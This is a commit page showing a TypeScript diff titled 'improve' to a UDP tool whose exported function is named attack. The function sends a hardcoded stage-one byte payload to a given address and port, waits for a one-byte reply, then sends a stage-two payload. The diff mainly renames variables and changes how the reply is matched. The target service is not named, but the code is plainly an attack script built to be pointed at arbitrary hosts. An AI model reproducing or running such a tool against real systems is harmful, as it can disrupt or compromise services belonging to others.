Commit 969d1860 authored by nanahira's avatar nanahira

improve

parent 2082b861
import * as dgram from "dgram"; import * as dgram from "dgram";
import * as _ from "underscore";
const message_stage1 = [ const messageStage1 = [
1, 2, 0, 42, 49, 127, 0, 0, 1, 0, 1, 2, 0, 42, 49, 127, 0, 0, 1, 0,
0, 0, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 0, 0, 0, 0, 2, 0, 42,
49, 127, 0, 0, 1, 0, 0, 0, 0, 0, 49, 127, 0, 0, 1, 0, 0, 0, 0, 0,
0, 0, 0, 109, 44, 0, 0 0, 0, 0, 109, 44, 0, 0
]; ];
const message_stage2 = [
const messageToWait = [3];
const messageStage2 = [
5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161, 5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161,
146, 49, 52, 114, 149, 16, 0, 1, 0, 40, 0, 0, 146, 49, 52, 114, 149, 16, 0, 1, 0, 40, 0, 0,
0, 1, 9, 112, 114, 111, 102, 105, 108, 101, 49, 112, 0, 1, 9, 112, 114, 111, 102, 105, 108, 101, 49, 112,
...@@ -26,7 +30,7 @@ function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean> ...@@ -26,7 +30,7 @@ function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean>
const intv = setInterval(sendMessage, 500, socket, intervalMessage); const intv = setInterval(sendMessage, 500, socket, intervalMessage);
return new Promise(done => { return new Promise(done => {
socket.once("message", (msg: Buffer, rinfo: any) => { socket.once("message", (msg: Buffer, rinfo: any) => {
if (msg.length === 1 && msg.readUInt8(0) === 3) { if (_.isEqual(msg.toJSON().data, messageToWait)) {
clearInterval(intv); clearInterval(intv);
done(true); done(true);
} }
...@@ -47,15 +51,15 @@ export async function attack(address: string, port: number): Promise<string> { ...@@ -47,15 +51,15 @@ export async function attack(address: string, port: number): Promise<string> {
if (err) { if (err) {
return `Failed to connect: ${err.toString()}`; return `Failed to connect: ${err.toString()}`;
} }
err = await sendMessage(socket, message_stage1); err = await sendMessage(socket, messageStage1);
if (err) { if (err) {
return `Failed to send stage 1: ${err.toString()}`; return `Failed to send stage 1: ${err.toString()}`;
} }
//console.log("Waiting for reply..."); //console.log("Waiting for reply...");
if (!await waitForReply(socket, message_stage1)) { if (!await waitForReply(socket, messageStage1)) {
return `Empty reply.`; return `Empty reply.`;
} }
err = await sendMessage(socket, message_stage2); err = await sendMessage(socket, messageStage2);
if (err) { if (err) {
return `Failed to send stage 2: ${err.toString()}`; return `Failed to send stage 2: ${err.toString()}`;
} }
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment